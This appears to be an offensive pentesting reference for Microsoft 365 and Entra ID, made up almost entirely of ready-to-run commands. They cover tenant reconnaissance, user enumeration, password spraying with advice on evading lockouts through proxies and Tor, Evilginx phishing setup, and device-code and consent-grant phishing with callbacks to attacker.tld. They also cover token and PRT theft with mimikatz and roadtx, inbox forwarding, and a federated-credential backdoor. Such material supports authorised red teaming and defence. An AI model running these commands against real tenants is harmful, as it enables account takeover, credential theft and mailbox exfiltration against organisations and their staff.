Microsoft 365, Azure AD / Entra ID pentesting reference. Interactive attack tree covering reconnaissance, initial access, enumeration, privilege escalation, lateral movement, persistence, and data exfiltration across M365 and Azure cloud environments.
Complete Azure AD / Entra ID pentest mindmap based on Synacktiv methodology. Click nodes to expand, search for any technique or tool.
Answer questions about your current access level and the advisor recommends the right techniques and commands.
SpecterOps BloodHound models Entra/Azure attack paths as typed edges between principals, apps, groups, roles, tenants and resources. When you plan a path in BH and need the concrete abuse tradecraft, look up the edge here to jump to the right section.
| Edge | Family | Section |
|---|---|---|
| AZGlobalAdmin | Identity Role | Global Admin / elevateAccess |
| AZPrivilegedRoleAdmin | Identity Role | Privilege Escalation |
| AZPrivilegedAuthAdmin | Identity Role | AZPrivilegedAuthAdmin |
| AZAppAdmin | Identity Role | App / Role Abuse |
| AZCloudAppAdmin | Identity Role | AZCloudAppAdmin |
| AZHasRole | Identity | Implicit - role -> principal |
| AZRoleEligible | PIM | AZRoleEligible |
| AZRoleApprover | PIM | AZRoleApprover |
| AZMemberOf | Identity | Implicit - group membership |
| AZContains | Hierarchy | AZContains / AZScopedTo |
| AZScopedTo | Hierarchy | AZContains / AZScopedTo |
| AZAuthenticatesTo | App / SP | AZAuthenticatesTo / AZRunsAs |
| AZRunsAs | App / SP | AZAuthenticatesTo / AZRunsAs |
| AZAddSecret | App / SP | Service Principal Abuse |
| AZAddOwner | App / SP | AZAddOwner - Silent Ownership |
| AZAddMembers | Group | PAG Abuse |
| AZResetPassword | User | AZResetPassword |
| AZOwns | Entra | AZOwner vs AZOwns |
| AZOwner | Azure RM | AZOwner vs AZOwns |
| AZContributor | Azure RM | RBAC Roles |
| AZUserAccessAdministrator | Azure RM | AZUserAccessAdministrator |
| AZVMContributor | Azure RM | Key Services (VM) |
| AZVMAdminLogin | Azure RM | AZVMAdminLogin |
| AZAvereContributor | Azure RM | AZAvereContributor |
| AZAKSContributor | Azure RM | AZAKSContributor + AZNodeResourceGroup |
| AZNodeResourceGroup | Azure RM | AZAKSContributor + AZNodeResourceGroup |
| AZAutomationContributor | Azure RM | Hybrid Worker Run-As |
| AZLogicAppContributor | Azure RM | Logic Apps / Connectors |
| AZWebsiteContributor | Azure RM | Azure Functions / App Service Kudu |
| AZExecuteCommand | Intune / MDM | Exploitation One-liners |
| AZManagedIdentity | Azure RM | AKS Pod / Managed Identity |
| AZKeyVaultKVContributor | Key Vault | Disk Snapshots, Key Vault |
| AZGetSecrets | Key Vault | Disk Snapshots, Key Vault |
| AZGetCertificates | Key Vault | Disk Snapshots, Key Vault |
| AZGetKeys | Key Vault | Disk Snapshots, Key Vault |
| AZMGGrantRole | MS Graph | Exploitation One-liners |
| AZMGGrantAppRoles | MS Graph | Exploitation One-liners |
| AZMGAddSecret | MS Graph | Dangerous Application Permissions |
| AZMGAddOwner | MS Graph | AZAddOwner - Silent Ownership |
| AZMGAddMember | MS Graph | Dangerous Application Permissions |
| AZMGApplication_ReadWrite_All | MS Graph | Dangerous Application Permissions |
| AZMGAppRoleAssignment_ReadWrite_All | MS Graph | Dangerous Application Permissions |
| AZMGDirectory_ReadWrite_All | MS Graph | Dangerous Application Permissions |
| AZMGRoleManagement_ReadWrite_Directory | MS Graph | Dangerous Application Permissions |
| AZMGGroup_ReadWrite_All | MS Graph | AZMGGroup / GroupMember carveout |
| AZMGGroupMember_ReadWrite_All | MS Graph | AZMGGroup / GroupMember carveout |
| AZMGServicePrincipalEndpoint_ReadWrite_All | MS Graph | Dangerous Application Permissions |
Every Entra tenant exposes a wealth of unauthenticated metadata. Hit the OIDC discovery doc to confirm tenancy and grab the immutable Tenant ID. The getuserrealm endpoint reveals federation type (Managed / Federated / Unknown) which dictates the rest of the attack tree.
# Tenant ID + OIDC config (no auth required)
curl https://login.microsoftonline.com/<domain>/.well-known/openid-configuration
curl https://login.microsoftonline.com/<domain>/v2.0/.well-known/openid-configuration
# User realm - Managed vs Federated, STS URL, brand info
curl "https://login.microsoftonline.com/[email protected]&xml=1"
curl "https://login.microsoftonline.com/common/userrealm/[email protected]?api-version=2.1"
# GetCredentialType - reveals if user exists, throttle status, cloud type
curl -X POST https://login.microsoftonline.com/common/GetCredentialType \
-H "Content-Type: application/json" \
-d '{"Username":"[email protected]"}'
# Federation metadata (if Federated)
curl https://login.microsoftonline.com/<tenant_id>/federationmetadata/2007-06/federationmetadata.xml
# Autodiscover (Exchange Online / hybrid)
curl https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/[email protected]?Protocol=Autodiscoverv1
curl https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc
# DNS pivots
dig <domain> TXT MX
dig _dmarc.<domain> TXT
dig autodiscover.<domain> CNAME
dig enterpriseregistration.<domain> CNAME # AAD Joined fingerprint
dig enterpriseenrollment.<domain> CNAME # Intune fingerprint
dig msoid.<domain> CNAME # MSO redirect
dig _sipfederationtls._tcp.<domain> SRV # Skype/Teams federation
dig lyncdiscover.<domain> CNAME
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com -Single
Get-AADIntLoginInformation -Domain target.com
Get-AADIntTenantDomains -Domain target.com
Get-AADIntOpenIDConfiguration -Domain target.com
Get-AADIntTenantID -Domain target.com
Get-AADIntTenantBrand -Domain target.com
Get-AADIntUserRealmV2 -UserName [email protected]
Get-AADIntLoginInformation -UserName [email protected]
# Federation / DesktopSSO check
Get-AADIntDesktopSSO -DomainName target.com
# Reverse domains via tenant ID
Invoke-AADIntReconAsOutsider -DomainName target.com | Format-Table
# Email validation (timing oracle on /common/GetCredentialType)
python3 o365creeper.py -f emails.txt -o valid.txt
python3 MSOLSpray.py --userlist users.txt --password "x" --domain target.com
TeamFiltration --enum --common-imap --outpath ./out --domain target.com
# Teams presence oracle (needs any valid token)
python3 TeamsEnum.py -a token -t token.txt -l users.txt
python3 TeamsUserEnum.py -t token -u users.txt
# Exchange autodiscover oracle
ruler -k -d target.com brute --users users.txt --passwords pass.txt
# OneDrive URL oracle (no auth)
# https://target-my.sharepoint.com/personal/<user>_target_com/_layouts/15/onedrive.aspx
python3 onedrive_user_enum.py -d target.com -U users.txt
# Subdomain / brand surface
Invoke-EnumerateAzureSubDomains -Base target -Verbose # MicroBurst
MicroBurst.psm1 :: Invoke-EnumerateAzureBlobs -Base target
SubOver -t target.com
goblob -prefixes target -goroutines 5000
# Blob / Storage / App Service brute
Invoke-EnumerateAzureBlobs -Base target -OutputFile blobs.txt
ffuf -u https://FUZZ.blob.core.windows.net -w wordlist.txt -mc 200,400
ffuf -u https://FUZZ.azurewebsites.net -w wordlist.txt -mc 200,301,302,403
ffuf -u https://FUZZ.scm.azurewebsites.net -w wordlist.txt -mc 401
ffuf -u https://FUZZ.azure-api.net -w wordlist.txt -mc 200,401
ffuf -u https://FUZZ.azurecr.io -w wordlist.txt
ffuf -u https://FUZZ.servicebus.windows.net -w wordlist.txt
ffuf -u https://FUZZ.database.windows.net -w wordlist.txt
ffuf -u https://FUZZ.documents.azure.com -w wordlist.txt # Cosmos DB
ffuf -u https://FUZZ.vault.azure.net -w wordlist.txt # Key Vault
# Open container probing
az storage blob list --container-name <name> --account-name <name> --auth-mode login
curl "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"
# MSOLSpray - the classic, hits login.microsoftonline.com
Invoke-MSOLSpray -UserList users.txt -Password "Spring2026!" -AddUser
Invoke-MSOLSpray -UserList users.txt -PasswordList pass.txt -OutFile sprayed.txt
# TeamFiltration - multi-endpoint (Autodiscover, OWA, ADFS, Graph)
TeamFiltration --spray --passwords pass.txt --usernames users.txt --rampup --shuffle
TeamFiltration --spray --sslsleep 4 --pushtoken --teamsenum
# spray365 - generates an execution plan to bypass smart lockout
python3 spray365.py generate -d target.com -u users.txt -pf pass.txt -ep graph -o plan.json
python3 spray365.py spray -ep graph --execution_plan plan.json
# trevorspray - distributed via SSH proxies (residential IP rotation)
trevorspray -u users.txt -p "Password123!" --url https://login.microsoft.com \
--ssh user@proxy1 user@proxy2 --interval 2
# SprayCharles via proxy chain
python3 SprayCharles.py -t MSOL -u users.txt -p pass.txt --proxy http://127.0.0.1:8080
# Goldfish - newer, hits Substrate / Outlook endpoints (less smart-lockout)
python3 goldfish.py spray -u users.txt -p "Spring2026!" -t target.com
# omnispray - modular module (msol, adfs, autodiscover, owa, oauth2, msonline)
python3 omnispray.py -M msol -u users.txt -p pass.txt
# o365spray (0xZDH) - the most flexible enum + spray combo, multi-endpoint
# Endpoints: oauth2, activesync, autodiscover, msol, adfs
# User enum first (no spray), then spray with throttle to dodge smart lockout
python3 o365spray.py --enum -U users.txt --domain target.com --enum-module oauth2
python3 o365spray.py --enum -U users.txt --domain target.com --enum-module autodiscover
python3 o365spray.py --enum -U users.txt --domain target.com --enum-module activesync
python3 o365spray.py --spray -U valid.txt -P 'Spring2026!' --domain target.com \
--spray-module oauth2 --count 1 --lockout 30 --safe 10 --output sprayed.json
# --count 1 = 1 password per lockout window, --lockout 30 = 30 min sleep
# --safe 10 = stop spraying an account after 10 lockout signals
python3 o365spray.py --spray -U users.txt -P passwords.txt --domain target.com \
--spray-module msol --proxy http://127.0.0.1:8080
Notes on smart lockout: Entra ID lockout is per-source-IP and per-account hash. Distribute across IPs (Tor exit list, residential proxy mesh, AWS API Gateway via FireProx) and use long sleep (4h+) between attempts on the same account. The newer FIDO2 / Number Matching policies don't stop spray, only post-credential MFA.
Before any spray you need a high-quality username list. The classic approach: scrape the target's LinkedIn employee directory, then transform employee names into the tenant's actual username format ({first}.{last}@target.com, {first[0]}{last}@target.com, etc.).
# linkedin2username (initstring) - the canonical tool
# Scrape via authenticated session - needs your own LinkedIn cookie
python3 linkedin2username.py -c company-name -n target.com -s LISESSIONID
# Generates several output files with all common username formats:
# first.last.txt, flast.txt, firstl.txt, first_last.txt, etc.
# Output goes to li2u-output/ by default
# With domain suffix injection
python3 linkedin2username.py -c company-name -n target.com -s LISESSIONID \
--output users.txt --depth 3 # depth = how many pages of employees to scrape
# CrossLinked - alternative that uses Google/Bing dorks (no LinkedIn auth needed)
python3 crosslinked.py -f '{first}.{last}@target.com' "Target Company"
python3 crosslinked.py -f '{f}{last}@target.com' "Target Company" -t 30 -j 2
# Once you have raw names, validate against the tenant
python3 o365creeper.py -f li2u-output/first.last.txt -o valid.txt
python3 o365spray.py --enum -U li2u-output/first.last.txt --domain target.com --enum-module oauth2
# Then spray the validated subset only
Workflow OSINT -> spray : linkedin2username/crosslinked -> generate name permutations -> o365creeper or o365spray --enum to validate -> spray validated list with o365spray/MSOLSpray. This sequence avoids burning lockouts on invalid accounts.
| Method | Tool / Command |
|---|---|
| Evilginx2 (AiTM) | evilginx2 -p phishlets/ -c config.json |
| EvilProxy (commercial PaaS) | Subscription based, rotates infra automatically |
| Tycoon 2FA / Greatness | Commercial PhaaS, target M365 + Gmail |
| Device Code Phishing | Get-AzureToken -Client MSGraph |
| Illicit Consent Grant | Multi-tenant app -> consent URL -> app gets scopes |
| WebView2 Token Theft | WebView2-DumpTokens.exe headless Chromium |
| PRT Theft | mimikatz sekurlsa::cloudap or Get-AADIntUserPRTToken |
| ESTSAUTH cookie theft | Browser process / DPAPI -> roadtx browserprtauth |
| TokenBroker .tbres | %LOCALAPPDATA%\Microsoft\TokenBroker\Cache\*.tbres |
| WAM cache | %LOCALAPPDATA%\Packages\Microsoft.AAD.BrokerPlugin_*\AC\TokenBroker |
| Service Principal Cred Theft | Az CLI / Az PS context files on dev workstation |
# Az CLI artefacts (Linux + Windows + macOS)
~/.azure/accessTokens.json # legacy CLI <2.30
~/.azure/azureProfile.json
~/.azure/msal_token_cache.json # CLI 2.30+
~/.azure/msal_token_cache.bin # binary form
~/.azure/azureProfile.json
~/.azure/clouds.config
~/.azure/service_principal_entries.json # SP secrets stored here
$env:USERPROFILE\.Azure\
$env:USERPROFILE\AppData\Roaming\Microsoft\Azure*
$env:LOCALAPPDATA\.IdentityService\msal.cache
# Az PowerShell artefacts
$env:USERPROFILE\AppData\Roaming\Windows Azure Powershell\TokenCache.dat
$env:USERPROFILE\.Azure\AzureRmContext.json
$env:USERPROFILE\.Azure\TokenCache.dat
# Token Broker (WAM) cache
%LOCALAPPDATA%\Microsoft\TokenBroker\Cache\*.tbres
%LOCALAPPDATA%\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\AC\TokenBroker
%LOCALAPPDATA%\Microsoft\IdentityCache\
# Visual Studio / VS Code Azure auth
%LOCALAPPDATA%\.IdentityService\AzureServiceAuth\tokencache.dat
%APPDATA%\Code\User\globalStorage\ms-vscode.azure-account
# Browser cookies (ESTSAUTH / ESTSAUTHPERSISTENT / x_ms_RefreshTokenCredential)
SharpChromium.exe cookies
HackBrowserData -browser all -dir ./out
DonPAPI.py -targets <host> domain/user:pass
# Pass the Cookie via roadtx (browserless)
roadtx browsercookieauth -c <ESTSAUTHPERSISTENT>
roadtx interactiveauth --estscookie <cookie> -r https://graph.microsoft.com
# Pass the PRT
mimikatz # sekurlsa::cloudap
Get-AADIntUserPRTToken
roadtx prt -a <PRT> -k <session_key> -c <client_id>
pypykatz lsa minidump lsass.dmp | grep -i prt
Adversary in The Middle (AiTM) phishing intercepts both credentials and the post-MFA session cookie by acting as a transparent reverse proxy in front of login.microsoftonline.com. The phishing page is a 1:1 rendering of the real login because it IS the real login - just proxied. The captured ESTSAUTHPERSISTENT cookie is a fully valid bearer that can be replayed in any browser.
| Framework | Notes |
|---|---|
| Evilginx2 | Open source, Go, custom phishlets (o365.yaml, m365.yaml, o365_v3.yaml). Handle CAPTCHA via lure landing pages. |
| Evilginx3 (kgretzky fork) | Adds js_inject for FIDO2 downgrade nag, sub_filter for branding |
| Storm-1167 / Mamba 2FA | Telegram-controlled phishing, real time cookie exfil to attacker bot |
| EvilProxy | Commercial PaaS, ~$400/mo, rotates infra, VPN/TOR detection bypass |
| Greatness (Mandiant tracked) | M365 only, prefilled login form, drag-and-drop builder |
| Tycoon 2FA | Cloudflare Turnstile fronted, randomised paths, anti-bot JS |
| Caffeine PaaS | Russian PaaS, M365 + Outlook lures included |
| NakedPages / Rockstar 2FA | Newer PaaS rolling out late 2024 |
# Evilginx2 setup (assumes ports 80/443 open + DNS A records)
evilginx2 -p ./phishlets -c ./config
> config domain phish.attacker.tld
> config ipv4 1.2.3.4
> config redirect_url https://office.com/
> phishlets hostname o365 login.attacker.tld
> phishlets enable o365
> lures create o365
> lures edit 0 redirect_url https://outlook.office.com
> lures get-url 0
# -> https://login.attacker.tld/abc123 - this is your phish link
# Sessions captured contain ESTSAUTHPERSISTENT, ESTSAUTH, x_ms_RefreshTokenCredential
> sessions
> sessions 1
# Export cookie JSON for browser replay or roadtx
The OAuth 2.0 device authorization grant lets a device with no keyboard request a token by displaying a code that a user types on a separate browser. There is no MFA branding, no consent prompt the user can recognise as malicious, and the resulting token comes from login.microsoftonline.com itself. Bait the user into typing your code on microsoft.com/devicelogin and you receive their refresh token.
# TokenTactics V2 (rvrsh3ll fork - the modern one)
Import-Module .\TokenTacticsV2.psd1
Get-AzureToken -Client MSGraph
# -> Displays user_code, polls token endpoint every 5s
# Default FOCI client = Microsoft Office (d3590ed6-52b3-4102-aeff-aad2292ab01c)
# Manual POST (no module)
curl -X POST https://login.microsoftonline.com/common/oauth2/devicecode \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com"
# Returns: device_code, user_code, verification_url
# Send user_code via phish; victim types it on microsoft.com/devicelogin
curl -X POST https://login.microsoftonline.com/common/oauth2/token \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&code=<device_code>"
Register a multi-tenant app in your own tenant, request scopes you want, and craft a consent URL pointing at the victim tenant. If the user clicks Accept (or if "users can consent to apps" is enabled and the scopes are user-consentable), your SP gets persistent access to their data via refresh token. Reply URL must match the registration.
# 1. Register multi-tenant app in attacker tenant via Azure Portal or:
az ad app create --display-name "Microsoft Office Backup Sync" \
--sign-in-audience AzureADMultipleOrgs \
--web-redirect-uris https://attacker.tld/oauth/callback
# 2. Add delegated permissions: Mail.Read, Files.ReadWrite.All, offline_access, openid
az ad app permission add --id <appId> \
--api 00000003-0000-0000-c000-000000000000 \
--api-permissions 570282fd-fa5c-430d-a7fd-fc8dc98a9dca=Scope
# 3. Send victim this URL
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<attacker_app_id>
&response_type=code
&redirect_uri=https://attacker.tld/oauth/callback
&response_mode=query
&scope=offline_access%20Mail.Read%20Files.ReadWrite.All
&state=12345
# 4. Victim consents -> attacker.tld receives ?code=<auth_code>
# Exchange for tokens
curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/token \
-d "client_id=<appId>&scope=Mail.Read%20offline_access&code=<auth_code>&redirect_uri=https://attacker.tld/oauth/callback&grant_type=authorization_code&client_secret=<secret>"
# MFA fatigue - spam Authenticator push until user accepts
python3 mfa_fatigue.py -u [email protected] -p password -i 60 # MSOLSpray fork
# Modern Number Matching breaks this for Authenticator, but:
# Bypass via legacy clients that don't support Number Matching:
# - IMAP4 / POP3 / SMTP AUTH (basic auth) -> single factor if Security Defaults off
# - Older Outlook + Activesync
# - PowerShell for Exchange Online (Connect-IPPSSession on legacy creds)
# - Client ID 1b730954-1685-4b74-9bfd-dac224a7b894 (Azure AD PowerShell) bypasses some CA
# FIDO2 / Phone Sign-in skip via WS-Trust legacy endpoint (federated only)
curl -X POST https://login.microsoftonline.com/common/oauth2/token \
-d "grant_type=password&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&[email protected]&password=...&resource=https://graph.windows.net"
# .tbres files are JSON with WCT-encoded refresh tokens (DPAPI per user)
ls "$env:LOCALAPPDATA\Microsoft\TokenBroker\Cache\*.tbres"
# Decrypt with Tbres-Parser / SharpTokenBrokerCache
SharpTokenBrokerCache.exe
# or
python3 tbres_decrypt.py *.tbres # uses CryptUnprotectData via mimikatz dpapi::tbres
# WAM packages (more interesting on Win11 / Hybrid Joined)
ls "$env:LOCALAPPDATA\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\AC\TokenBroker\Accounts"
mimikatz # dpapi::wam
# ROADtools roadwam for live extraction
python3 roadwam.py --tenant <tid> --output tokens.json
| Artefact | Storage | Extract | Use |
|---|---|---|---|
| PRT | LSASS CloudAP | mimikatz sekurlsa::cloudap / Get-AADIntUserPRTToken |
roadtx prt -> ESTSAUTH cookie -> any service |
| PRT cookie (x_ms_RefreshTokenCredential) | Edge / Chrome cookies | SharpChromium / DonPAPI | roadtx browserprtauth |
| ESTSAUTH / ESTSAUTHPERSISTENT | login.microsoftonline.com cookies | Browser DPAPI | Inject in attacker browser, full session |
| Device transport key | TPM (or DPAPI fallback) | mimikatz dpapi::cloudapkd |
Forge new PRT for any user on that device |
| RefreshToken | MSAL cache, .tbres, browser | dpapi / json | roadtx refreshtokenauth -> new access token |
| Device certificate | LSA / TPM | Export-AzureAdJoinedDeviceCertificate.ps1 |
Spoof device for compliance CA bypass |
# Full Pass-the-PRT workflow with roadtx
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
# -> capture: PRT, ProofOfPossesionKey (KeyValue), TenantId
# Decrypt session key
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:<base64> /unprotect
# Generate signed PRT cookie -> get tokens
roadtx prt -a <prt_b64> -k <session_key_b64>
# -> emits .roadtools_auth with refresh token; then:
roadtx gettokens -r https://graph.microsoft.com
roadtx browserprtauth # opens Chromium with full session
Modern fork by rvrsh3ll. Handles FOCI client switching, refresh token reuse across resources, and the full M365 token surface (Substrate, OWA, Teams, OneDrive, Yammer, etc).
Import-Module .\TokenTacticsV2.psd1
# Initial token acquisition (device code phish)
Get-AzureToken -Client MSGraph
Get-AzureToken -Client Outlook
Get-AzureToken -Client Substrate
Get-AzureToken -Client AzureManagement
Get-AzureToken -Client MSTeams
Get-AzureToken -Client OneDrive
Get-AzureToken -Client SharePoint
Get-AzureToken -Client Yammer
Get-AzureToken -Client Intune
# Refresh into another resource (FOCI - Family of Client IDs)
RefreshTo-MSGraphToken -domain target.com -refreshToken $rt
RefreshTo-AzureManagementToken -domain target.com -refreshToken $rt
RefreshTo-SubstrateToken -domain target.com -refreshToken $rt
RefreshTo-OutlookToken -domain target.com -refreshToken $rt
RefreshTo-MSTeamsToken -domain target.com -refreshToken $rt
RefreshTo-OneDriveToken -domain target.com -refreshToken $rt
RefreshTo-SharePointToken -domain target.com -refreshToken $rt
RefreshTo-OfficeManagementToken -domain target.com -refreshToken $rt
RefreshTo-OfficeAppsToken -domain target.com -refreshToken $rt
RefreshTo-AzureCoreManagementToken -domain target.com -refreshToken $rt
RefreshTo-AzureStorageToken -domain target.com -refreshToken $rt
RefreshTo-AzureKeyVaultToken -domain target.com -refreshToken $rt
# Mailbox ops via Substrate token
Get-OWAMailFolder -tokens $tokens
Get-OutlookAttachments -tokens $tokens -folderId Inbox
Send-OutlookEmail -tokens $tokens -to [email protected] -subject "x"
# Token housekeeping
Parse-JWTtoken -Token $access_token
Clear-Token -Token All
Beau Bullock's Graph-only post-exploitation framework. Authenticates via device code, then exposes a giant set of recon, abuse, and persistence cmdlets that only need a user token.
Import-Module .\GraphRunner.ps1
# Auth + auto-refresh
$tokens = Get-GraphTokens
Invoke-AutoTokenRefresh -tokens $tokens -RefreshInterval 25
# Recon
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
Invoke-DumpApps -Tokens $tokens
Invoke-DumpCAPS -Tokens $tokens # Conditional Access policies
Get-SecurityGroups -Tokens $tokens
Get-SharePointSiteURLs -Tokens $tokens
Get-DynamicGroups -Tokens $tokens
Get-UpdatableGroups -Tokens $tokens # groups you can self-add to
Get-AssignedRoles -Tokens $tokens -Username [email protected]
# Search
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "password"
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "vpn" -MessageCount 100
Invoke-SearchTeams -Tokens $tokens -SearchTerm "secret"
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "key"
Invoke-ImmersiveFileReader -Tokens $tokens -DocumentURL "https://..."
# Persistence + privesc
Invoke-InjectOAuthApp -Tokens $tokens -AppName "Office Backup" \
-ReplyUrl "https://attacker.tld/auth" \
-Scope "Mail.ReadWrite,Files.ReadWrite.All,User.ReadWrite.All,offline_access"
New-GraphPersistence -Tokens $tokens -Username [email protected]
Invoke-AddGroupMember -Tokens $tokens -GroupId <gid> -UserId <uid>
Invoke-DriveFileDownload -Tokens $tokens -DriveItemId <id>
# Email rules / inbox forwarding
Invoke-MailboxRule -Tokens $tokens -Rule '{"displayName":"x","forwardTo":[...]}'
# Device code
roadtx devicecode -c msgraph
roadtx devicecode -c azurecli
# Refresh token -> any FOCI client
roadtx gettokens -r https://graph.microsoft.com -c <client_id>
roadtx refreshtokenauth -r https://management.azure.com
# PRT operations (after stealing PRT + session key)
roadtx prt -a <prt> -k <key>
roadtx prtauth -p <prt> -k <key> -r https://graph.microsoft.com
roadtx browserprtauth # full browser session w/ PRT cookie
roadtx browsercookieauth -c <ESTSAUTHPERSISTENT>
roadtx browserdeviceauth # device-only flow
# Code flow
roadtx codeauth -c msgraph
roadtx interactiveauth # browser-driven
# Device registration / hybrid join
roadtx device -a register -n FAKEPC01
roadtx device -a join -n FAKEPC01
roadtx hybriddevice --cert dc.pfx --password pass --tenant <tid>
# FOCI switch examples
roadtx gettokens -r https://outlook.office365.com -c teams
roadtx gettokens -r https://management.core.windows.net -c azps
# OWA / Substrate / EXO via stolen tokens
roadtx owa
roadtx exomailbox --user [email protected]
Newer (2024) modular Go tool for token issuance, swap, and parsing. Useful when you only have a refresh token and want to enumerate which resources it can speak to.
tokensmith parse <jwt>
tokensmith swap --refresh-token <rt> --to-resource https://graph.microsoft.com
tokensmith enum --refresh-token <rt> # tries every FOCI client
tokensmith persist --refresh-token <rt> --output rt.json
PowerShell research toolkit by SpecterOps used to reach edges that BloodHound understands. Pure REST, no SDK dependencies.
Import-Module .\BARK.psm1
# Auth
$gt = Get-MSGraphTokenWithUsernamePassword -Username [email protected] -Password 'x' -TenantID <tid>
$at = Get-AzureRMTokenWithUsernamePassword -Username [email protected] -Password 'x' -TenantID <tid>
# Recon
Get-AllAzureRMSubscriptions -Token $at.access_token
Get-AllAzureRMResourceGroups -Token $at.access_token -SubscriptionID <sid>
Get-AllAzureManagedIdentityAssignments -Token $at.access_token
Test-MSGraphTokenPermissions -Token $gt.access_token
# Privilege escalation primitives
New-AppRegSecret -AppRegObjectID <oid> -Token $gt.access_token
New-AppRegCredential -AppRegObjectID <oid>
New-AppOwner -AppObjectID <oid> -NewOwnerObjectID <attacker_oid> -Token $gt.access_token
New-ServicePrincipalOwner -SPObjectID <sid> -NewOwnerObjectID <oid>
Add-MemberToGroup -GroupObjectID <gid> -UserObjectID <uid>
Set-AzureUserPassword -TargetUserID <uid> -Password 'NewPass!' -Token $gt.access_token
# AzureRM abuse
Invoke-AzureRMVMRunCommand -SubscriptionID <sid> -ResourceGroupName <rg> \
-VMName <vm> -Script 'whoami' -Token $at.access_token
Invoke-AzureRMWebAppShellCommand -KuduURI https://app.scm.azurewebsites.net -Command 'whoami' -Token $at.access_token
The Primary Refresh Token is a long-lived (90 day rolling) JWT issued to an Entra Joined / Hybrid Joined / WPJ device, bound to a device key in the TPM. It encodes the user's authentication context (MFA claim, device compliance, tenant) and is used to silently mint web tokens for any cloud app via the SSO flow. Stealing it (or the SSO cookie derived from it) yields full session impersonation that survives password reset and bypasses most CA policies because it carries a compliant-device claim.
| Component | Source | Why we want it |
|---|---|---|
PRT |
LSASS (CloudAP plugin) | Encrypted JWT, the actual refresh material |
SessionKey |
LSASS / TPM | Symmetric key used to sign cookies derived from PRT |
ProofOfPossesionKey |
DPAPI-NG (cloudapkd) | Decrypts SessionKey from CloudAP cache |
dAToken (PRT cookie) |
x_ms_RefreshTokenCredential cookie | What the browser sends to login.microsoftonline.com |
Device key |
TPM (NCRYPT_KEY_HANDLE) | Required for PRT renewal beyond 90d |
Transport key |
TPM | Used for device authentication on prt refresh |
# Local Admin / SYSTEM required
mimikatz.exe
privilege::debug
token::elevate
sekurlsa::cloudap
# -> dumps PRT (Base64), KeyValue (encrypted Session Key), Context (IV), DerivedKey
# Decrypt session key with DPAPI machine key
dpapi::cloudapkd /keyvalue:<base64> /unprotect
# -> Clear Key (used to sign PRT cookies)
# Generate a fresh PRT cookie (good for ~24h after issue)
sekurlsa::cloudap /signedjwt
# Or use dpapi::cloudapkd with /context to derive new dAToken
# After mimikatz dump, feed values to roadtx
roadtx prt -a "<PRT>" -k "<Session_Key>"
# -> writes .roadtools_auth and emits an ESTSAUTH cookie
roadtx browserprtauth
# Chromium opens with full session, MFA-satisfied, on any M365 service
# Or generate a token for a specific resource
roadtx gettokens -r https://graph.microsoft.com -c msgraph
roadtx gettokens -r https://outlook.office365.com -c teams
# Renew PRT (good if device cert + transport key also stolen)
roadtx prtenrich --prt <prt> --prt-sessionkey <key>
Open-source framework that automates browser PRT cookie theft from Edge / Chrome. Targets the x_ms_RefreshTokenCredential cookie set on login.microsoftonline.com after first SSO. The cookie is DPAPI-protected per user.
# Build (Rust)
cargo build --release
# Run as the target user (no admin needed for current user cookies)
./cookiemonster --browser edge --output cookies.json
./cookiemonster --browser chrome --tenant <tid>
# Use cookie with roadtx
roadtx browsercookieauth -c "$(jq -r .x_ms_RefreshTokenCredential cookies.json)"
# AADInternals - extract PRT and immediately get a refresh token (no mimikatz)
Get-AADIntUserPRTToken # current user only, uses MicrosoftAccountTokenProvider COM
$prt = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForMSGraph -PRTToken $prt
# Sean Metcalf's requestaadrefreshtoken.exe (C# COM caller)
requestaadrefreshtoken.exe browser_core
# -> outputs PRT cookie, paste into Chrome
| Device State | PRT issued | Extraction |
|---|---|---|
| Azure AD Joined | Yes - on first login | mimikatz cloudap, SYSTEM context |
| Hybrid Joined | Yes - after Azure AD Connect sync + WHfB enroll | Same, plus AD computer object cert |
| Workplace Joined (WPJ / BYOD) | Yes, scoped per-user | Per-user CloudAP entry, no admin needed |
| Entra Domain Joined Server | No PRT (uses cert auth) | n/a |
# Confirm join state
dsregcmd /status
# -> AzureAdJoined : YES / DomainJoined : YES / WorkplaceJoined : YES
# -> Look for: AzureAdPrt : YES, NgcSet : YES, KeyProvider : Microsoft Platform Crypto Provider (TPM)
# Forge a brand-new PRT if you have Device Certificate + Transport Key (both in TPM normally)
roadtx hybriddevice --cert <pfx> --password <pw> --tenant <tid>
# -> creates a virtual hybrid joined device, issues its own PRT for any synced user
Workload Identity Federation lets a non-Microsoft workload (GitHub Actions, GitLab CI, AWS, GCP, any OIDC issuer) authenticate to Entra ID without a stored secret. You add a Federated Identity Credential to an App Registration that says "trust JWTs from issuer X with subject Y for audience Z". From the attacker's perspective: any OIDC token that matches that subject claim is now a valid client assertion against login.microsoftonline.com/<tid>/oauth2/v2.0/token. There is no secret to rotate, no expiration to monitor, and audit logs barely flag the addition.
# List federated credentials on an app (auth needed)
az ad app federated-credential list --id <appId>
# Add your own federated credential pointing to attacker-controlled OIDC issuer
az ad app federated-credential create --id <appId> --parameters '{
"name":"backdoor",
"issuer":"https://token.actions.githubusercontent.com",
"subject":"repo:attacker/evil:ref:refs/heads/main",
"audiences":["api://AzureADTokenExchange"]
}'
# Add credential trusting any branch in the victim repo (subject wildcards via claimsMatchingExpression on newer API)
az ad app federated-credential create --id <appId> --parameters '{
"name":"any-branch",
"issuer":"https://token.actions.githubusercontent.com",
"subject":"repo:victim/repo:ref:refs/heads/*",
"audiences":["api://AzureADTokenExchange"]
}'
